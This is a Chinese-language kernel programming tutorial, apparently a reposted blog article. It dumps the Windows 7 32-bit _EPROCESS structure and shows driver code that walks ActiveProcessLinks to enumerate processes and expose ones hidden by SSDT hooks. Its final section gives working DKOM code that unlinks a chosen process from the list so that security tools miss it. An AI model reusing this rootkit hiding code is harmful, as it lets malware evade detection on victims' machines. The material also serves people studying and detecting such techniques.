遍历进程活动链表（ActiveProcessLinks）、DKOM隐藏进程

怼烎@ 2023-10-12 05:48 23阅读 0赞

**1.EPROCESS结构体**

EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息，还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字，和在用户空间的PEB（进程环境）块等等。EPROCESS中除了PEB成员块在是用户空间，其他都是在系统空间中的。

**2.查看EPROCESS结构**

kd> dt\_eprocess  
ntdll!\_EPROCESS  
   +0×000 Pcb              : \_KPROCESS  
   +0×098 ProcessLock      : \_EX\_PUSH\_LOCK  
   +0x0a0 CreateTime       : \_LARGE\_INTEGER                          //创建时间  
   +0x0a8 ExitTime         : \_LARGE\_INTEGER                             //退出时间  
   +0x0b0 RundownProtect   : \_EX\_RUNDOWN\_REF  
   +0x0b4 UniqueProcessId  : Ptr32 Void                                        //进程的pid  
   +0x0b8 ActiveProcessLinks : \_LIST\_ENTRY                            //活动进程链表  
   +0x0c0 ProcessQuotaUsage : \[2\] Uint4B  
   +0x0c8 ProcessQuotaPeak : \[2\] Uint4B  
   +0x0d0 CommitCharge     : Uint4B  
   +0x0d4 QuotaBlock       : Ptr32 \_EPROCESS\_QUOTA\_BLOCK  
   +0x0d8 CpuQuotaBlock    : Ptr32 \_PS\_CPU\_QUOTA\_BLOCK  
   +0x0dc PeakVirtualSize  : Uint4B  
   +0x0e0 VirtualSize      : Uint4B  
   +0x0e4 SessionProcessLinks : \_LIST\_ENTRY  
   +0x0ec DebugPort        : Ptr32 Void  
   +0x0f0 ExceptionPortData : Ptr32 Void  
   +0x0f0 ExceptionPortValue : Uint4B  
   +0x0f0 ExceptionPortState : Pos 0, 3 Bits  
   +0x0f4 ObjectTable      : Ptr32 \_HANDLE\_TABLE                       //指向句柄表的指针  
   +0x0f8 Token            : \_EX\_FAST\_REF  
   +0x0fc WorkingSetPage   : Uint4B  
   +0×100 AddressCreationLock : \_EX\_PUSH\_LOCK  
   +0×104 RotateInProgress : Ptr32 \_ETHREAD  
   +0×108 ForkInProgress   : Ptr32 \_ETHREAD  
   +0x10c HardwareTrigger  : Uint4B  
   +0×110 PhysicalVadRoot  : Ptr32 \_MM\_AVL\_TABLE  
   +0×114 CloneRoot        : Ptr32 Void  
   +0×118 NumberOfPrivatePages : Uint4B  
   +0x11c NumberOfLockedPages : Uint4B  
   +0×120 Win32Process     : Ptr32 Void  
   +0×124 Job              : Ptr32 \_EJOB  
   +0×128 SectionObject    : Ptr32 Void  
   +0x12c SectionBaseAddress : Ptr32 Void  
   +0×130 Cookie           : Uint4B  
   +0×134 Spare8           : Uint4B  
   +0×138 WorkingSetWatch  : Ptr32 \_PAGEFAULT\_HISTORY  
   +0x13c Win32WindowStation : Ptr32 Void  
   +0×140 InheritedFromUniqueProcessId : Ptr32 Void  
   +0×144 LdtInformation   : Ptr32 Void  
   +0×148 VdmObjects       : Ptr32 Void  
   +0x14c ConsoleHostProcess : Uint4B  
   +0×150 DeviceMap        : Ptr32 Void  
   +0×154 EtwDataSource    : Ptr32 Void  
   +0×158 FreeTebHint      : Ptr32 Void  
   +0×160 PageDirectoryPte : \_HARDWARE\_PTE\_X86  
   +0×160 Filler           : Uint8B  
   +0×168 Session          : Ptr32 Void  
   +0x16c ImageFileName    : \[15\] UChar                               //进程名称  
   +0x17b PriorityClass    : UChar  
   +0x17c JobLinks         : \_LIST\_ENTRY  
   +0×184 LockedPagesList  : Ptr32 Void  
   +0×188 ThreadListHead   : \_LIST\_ENTRY                      //进程里的线程链表  
   +0×190 SecurityPort     : Ptr32 Void  
   +0×194 PaeTop           : Ptr32 Void  
   +0×198 ActiveThreads    : Uint4B  
   +0x19c ImagePathHash    : Uint4B  
   +0x1a0 DefaultHardErrorProcessing : Uint4B  
   +0x1a4 LastThreadExitStatus : Int4B  
   +0x1a8 Peb              : Ptr32 \_PEB                        //指向PEB的指针  
   +0x1ac PrefetchTrace    : \_EX\_FAST\_REF  
   +0x1b0 ReadOperationCount : \_LARGE\_INTEGER  
   +0x1b8 WriteOperationCount : \_LARGE\_INTEGER  
   +0x1c0 OtherOperationCount : \_LARGE\_INTEGER  
   +0x1c8 ReadTransferCount : \_LARGE\_INTEGER  
   +0x1d0 WriteTransferCount : \_LARGE\_INTEGER  
   +0x1d8 OtherTransferCount : \_LARGE\_INTEGER  
   +0x1e0 CommitChargeLimit : Uint4B  
   +0x1e4 CommitChargePeak : Uint4B  
   +0x1e8 AweInfo          : Ptr32 Void  
   +0x1ec SeAuditProcessCreationInfo : \_SE\_AUDIT\_PROCESS\_CREATION\_INFO  
   +0x1f0 Vm               : \_MMSUPPORT  
   +0x25c MmProcessLinks   : \_LIST\_ENTRY  
   +0×264 HighestUserAddress : Ptr32 Void  
   +0×268 ModifiedPageCount : Uint4B  
   +0x26c Flags2           : Uint4B  
   +0x26c JobNotReallyActive : Pos 0, 1 Bit  
   +0x26c AccountingFolded : Pos 1, 1 Bit  
   +0x26c NewProcessReported : Pos 2, 1 Bit  
   +0x26c ExitProcessReported : Pos 3, 1 Bit  
   +0x26c ReportCommitChanges : Pos 4, 1 Bit  
   +0x26c LastReportMemory : Pos 5, 1 Bit  
   +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit  
   +0x26c HandleTableRundown : Pos 7, 1 Bit  
   +0x26c NeedsHandleRundown : Pos 8, 1 Bit  
   +0x26c RefTraceEnabled  : Pos 9, 1 Bit  
   +0x26c NumaAware        : Pos 10, 1 Bit  
   +0x26c ProtectedProcess : Pos 11, 1 Bit  
   +0x26c DefaultPagePriority : Pos 12, 3 Bits  
   +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit  
   +0x26c ProcessVerifierTarget : Pos 16, 1 Bit  
   +0x26c StackRandomizationDisabled : Pos 17, 1 Bit  
   +0x26c AffinityPermanent : Pos 18, 1 Bit  
   +0x26c AffinityUpdateEnable : Pos 19, 1 Bit  
   +0x26c PropagateNode    : Pos 20, 1 Bit  
   +0x26c ExplicitAffinity : Pos 21, 1 Bit  
   +0×270 Flags            : Uint4B  
   +0×270 CreateReported   : Pos 0, 1 Bit  
   +0×270 NoDebugInherit   : Pos 1, 1 Bit  
   +0×270 ProcessExiting   : Pos 2, 1 Bit  
   +0×270 ProcessDelete    : Pos 3, 1 Bit  
   +0×270 Wow64SplitPages  : Pos 4, 1 Bit  
   +0×270 VmDeleted        : Pos 5, 1 Bit  
   +0×270 OutswapEnabled   : Pos 6, 1 Bit  
   +0×270 Outswapped       : Pos 7, 1 Bit  
   +0×270 ForkFailed       : Pos 8, 1 Bit  
   +0×270 Wow64VaSpace4Gb  : Pos 9, 1 Bit  
   +0×270 AddressSpaceInitialized : Pos 10, 2 Bits  
   +0×270 SetTimerResolution : Pos 12, 1 Bit  
   +0×270 BreakOnTermination : Pos 13, 1 Bit  
   +0×270 DeprioritizeViews : Pos 14, 1 Bit  
   +0×270 WriteWatch       : Pos 15, 1 Bit  
   +0×270 ProcessInSession : Pos 16, 1 Bit  
   +0×270 OverrideAddressSpace : Pos 17, 1 Bit  
   +0×270 HasAddressSpace  : Pos 18, 1 Bit  
   +0×270 LaunchPrefetched : Pos 19, 1 Bit  
   +0×270 InjectInpageErrors : Pos 20, 1 Bit  
   +0×270 VmTopDown        : Pos 21, 1 Bit  
   +0×270 ImageNotifyDone  : Pos 22, 1 Bit  
   +0×270 PdeUpdateNeeded  : Pos 23, 1 Bit  
   +0×270 VdmAllowed       : Pos 24, 1 Bit  
   +0×270 CrossSessionCreate : Pos 25, 1 Bit  
   +0×270 ProcessInserted  : Pos 26, 1 Bit  
   +0×270 DefaultIoPriority : Pos 27, 3 Bits  
   +0×270 ProcessSelfDelete : Pos 30, 1 Bit  
   +0×270 SetTimerResolutionLink : Pos 31, 1 Bit  
   +0×274 ExitStatus       : Int4B  
   +0×278 VadRoot          : \_MM\_AVL\_TABLE  
   +0×298 AlpcContext      : \_ALPC\_PROCESS\_CONTEXT  
   +0x2a8 TimerResolutionLink : \_LIST\_ENTRY  
   +0x2b0 RequestedTimerResolution : Uint4B  
   +0x2b4 ActiveThreadsHighWatermark : Uint4B  
   +0x2b8 SmallestTimerResolution : Uint4B  
   +0x2bc TimerResolutionStackRecord : Ptr32 \_PO\_DIAG\_STACK\_RECORD

**3.什么是进程活动链表？**

EPROCESS块中有一个ActiveProcessLinks成员，它是一个PLIST\_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块，然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

在PspCreateProcess内核API中能清晰的找到:

InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

当进程结束的时候，该进程的EPROCESS结构当从活动进程链上摘除。（但是EPROCESS结构不一定就马上释放）。

在PspExitProcess内核API中能清晰的找到:

RemoveEntryList(&Process->ActiveProcessLinks);

所以我们完全可以利用活动进程链表来对进程进行枚举。

关于链表的使用，可以参考：[Windows内核中字符串和链表的使用][Windows]。

**4. 进程枚举检测Hook SSDT隐藏的进程。**

我们前面在[SSDT Hook实现简单的进程隐藏和保护][SSDT Hook]这篇文章中讲到如果使用ssdt hook来隐藏进程。

事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头，然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回（包括进程ID名字等）。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来，所以我们可以利用硬编码的办法，来解决这个问题。

在win7 32位下：

\#define PIDOFFSET 0xb4   //\_EPROCESS中UniqueProcessId的偏移  
\#define FLICKOFFSET 0xb8   //\_EPROCESS中ActiveProcessLinks偏移  
\#define IMAGEFILENAME 0x16C   //\_EPROCESS中ImageFileName的偏移

示例代码：

<table> 
 <tbody> 
 <tr> 
 <td> 
 <div>
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 </div> </td> 
 <td> 
 <div> 
 //遍历ActiveProcessLinks来显示所有进程 
 
 void ShowEPROCESS 
 ( 
 ) 
 
 { 
 &nbsp; &nbsp; DWORD EProcess 
 ,FirstEProcess 
 ; 
 &nbsp; &nbsp; LIST_ENTRY 
 * &nbsp; &nbsp; ActiveProcessLinks 
 ; 
 &nbsp; &nbsp; DWORD pid 
 ,dwCount 
 = 
 0 
 ; 
 &nbsp; &nbsp; PUCHAR pImage 
 ; 
 &nbsp; &nbsp; EProcess 
 =FirstEProcess 
 = 
 (DWORD 
 )PsGetCurrentProcess 
 ( 
 ) 
 ; 
 &nbsp; &nbsp; __try 
 { &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 while 
 ( EProcess 
 != 
 0 
 ) &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 { &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwCount 
 ++; &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid 
 = 
 * 
 ( 
 (DWORD 
 * 
 ) 
 ( EProcess 
 + PIDOFFSET 
 ) 
 ) 
 ; &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImage 
 = 
 (PUCHAR 
 ) 
 ( EProcess 
 + IMAGEFILENAME 
 ) 
 ; &nbsp; 
 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DbgPrint 
 ( 
 "[Pid=%8d] EProcess=0x%08X %s\n" 
 , pid 
 , EProcess 
 , pImage 
 ) 
 ; &nbsp; 
 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ActiveProcessLinks 
 = 
 (LIST_ENTRY 
 * 
 ) 
 ( EProcess 
 + FLICKOFFSET 
 ) 
 ; &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; EProcess 
 = 
 (DWORD 
 )ActiveProcessLinks 
 -&gt;Flink 
 - FLICKOFFSET 
 ; &nbsp; &nbsp; 
 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
 if 
 ( EProcess 
 == FirstEProcess 
 ) &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
 break 
 ; &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 } &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; DbgPrint 
 ( 
 "ProcessCount = %d\n" 
 , dwCount 
 ) 
 ; &nbsp; 
 &nbsp; &nbsp; 
 } 
 &nbsp; &nbsp; __except 
 ( 
 1 
 ) 
 { &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; DbgPrint 
 ( 
 "EnumProcessList exception !" 
 ) 
 ; &nbsp; 
 &nbsp; &nbsp; 
 } 
 
 } 
 </div> </td> 
 </tr> 
 </tbody> 
</table>

**5. 删除活动进程链表节点实现进程隐藏**

由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除，就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度，所以摘除过后并不影响隐藏进程的线程调度。

示例代码：

根据pid在进程活动链表中找到进程的eprocess结构体

<table> 
 <tbody> 
 <tr> 
 <td> 
 <div>
 1 
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 </div> </td> 
 <td> 
 <div>
 DWORD FindProcessInEPROCESS 
 ( 
 int hidePid 
 ) 
 
 { 
 &nbsp; &nbsp; DWORD eproc 
 = 
 0x00000000 
 ; 
 &nbsp; &nbsp; 
 int currentPid 
 = 
 0 
 ; 
 &nbsp; &nbsp; 
 int startPid 
 = 
 0 
 ; 
 &nbsp; &nbsp; 
 int cout 
 = 
 0 
 ; 
 &nbsp; &nbsp; PLIST_ENTRY pListActiveProcs 
 ; 
 
 &nbsp; &nbsp; 
 if 
 ( 
 0 
 == hidePid 
 ) 
 &nbsp; &nbsp; 
 { 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 return hidePid 
 ; 
 &nbsp; &nbsp; 
 } 
 
 &nbsp; &nbsp; 
 //遍历ActiveList 
 &nbsp; &nbsp; eproc 
 = 
 (DWORD 
 )PsGetCurrentProcess 
 ( 
 ) 
 ; 
 &nbsp; &nbsp; startPid 
 = 
 * 
 ( 
 (DWORD 
 * 
 ) 
 (eproc 
 +PIDOFFSET 
 ) 
 ) 
 ; 
 &nbsp; &nbsp; currentPid 
 = startPid 
 ; 
 
 &nbsp; &nbsp; 
 while 
 (TRUE 
 ) 
 &nbsp; &nbsp; 
 { 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 if 
 (hidePid &nbsp; 
 == currentPid 
 ) 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 { 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
 return eproc 
 ; 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 } 
 else 
 if 
 ( 
 (cout 
 &gt;= 
 1 
 ) 
 &amp;&amp; 
 (startPid 
 == currentPid 
 ) 
 ) 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 { &nbsp; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
 //没有找到 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
 return 
 0x00000000 
 ; 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 } 
 else 
 { 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pListActiveProcs 
 = 
 (LIST_ENTRY 
 * 
 ) 
 (eproc 
 + FLICKOFFSET 
 ) 
 ; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; eproc 
 = 
 (DWORD 
 ) pListActiveProcs 
 -&gt;Flink 
 ; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; eproc 
 = eproc 
 - FLICKOFFSET 
 ; 
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; currentPid 
 = 
 * 
 ( 
 ( 
 int 
 * 
 ) 
 (eproc 
 + PIDOFFSET 
 ) 
 ) 
 ; 
 &nbsp; &nbsp; &nbsp; &nbsp; 
 } 
 &nbsp; &nbsp; 
 } 
 
 } 
 </div> </td> 
 </tr> 
 </tbody> 
</table>

把这个结构体从活动进程链表中摘去

<table> 
 <tbody> 
 <tr> 
 <td> 
 <div>
 1 
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 </div> </td> 
 <td> 
 <div> 
 void HideProcess 
 ( 
 int hidePid 
 ) 
 
 { 
 &nbsp; &nbsp; PLIST_ENTRY pListActiveProcs 
 = NULL 
 ; 
 &nbsp; &nbsp; PLIST_ENTRY pHandleTable 
 = NULL 
 ; 
 &nbsp; &nbsp; DWORD eproc 
 = FindProcessInEPROCESS 
 (hidePid 
 ) 
 ; 
 // 在EPROCESS结构中找到这个进程 
 &nbsp; &nbsp; DbgPrint 
 ( 
 "eproc %08X" 
 ,eproc 
 ) 
 ; 
 &nbsp; &nbsp; pListActiveProcs 
 = 
 (LIST_ENTRY 
 * 
 ) 
 (eproc 
 + FLICKOFFSET 
 ) 
 ; 
 &nbsp; &nbsp; 
 * 
 ( 
 (DWORD 
 * 
 )pListActiveProcs 
 -&gt;Blink 
 ) 
 = 
 (DWORD 
 )pListActiveProcs 
 -&gt;Flink 
 ; 
 &nbsp; &nbsp; 
 * 
 ( 
 (DWORD 
 * 
 )pListActiveProcs 
 -&gt;Flink 
 + 
 1 
 ) 
 = 
 (DWORD 
 )pListActiveProcs 
 -&gt;Blink 
 ; 
 &nbsp; &nbsp; pListActiveProcs 
 -&gt;Flink 
 = 
 (LIST_ENTRY 
 * 
 ) 
 &amp; 
 (pListActiveProcs 
 -&gt;Flink 
 ) 
 ; 
 &nbsp; &nbsp; pListActiveProcs 
 -&gt;Blink 
 = 
 (LIST_ENTRY 
 * 
 ) 
 &amp; 
 (pListActiveProcs 
 -&gt;Flink 
 ) 
 ; 
 
 } 
 </div> </td> 
 </tr> 
 </tbody> 
</table>

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转载于:https://www.cnblogs.com/kuangke/p/5761634.html

[Windows]: http://www.blogfshare.com/kernel-string-list.html
[SSDT Hook]: http://www.blogfshare.com/ssdthook-hide-protect.html
[http_www.blogfshare.com_activeprocesslinks-dkom.html]: http://www.blogfshare.com/activeprocesslinks-dkom.html
[923483-20160811164407856-340120378.jpg]: https://images2015.cnblogs.com/blog/923483/201608/923483-20160811164407856-340120378.jpg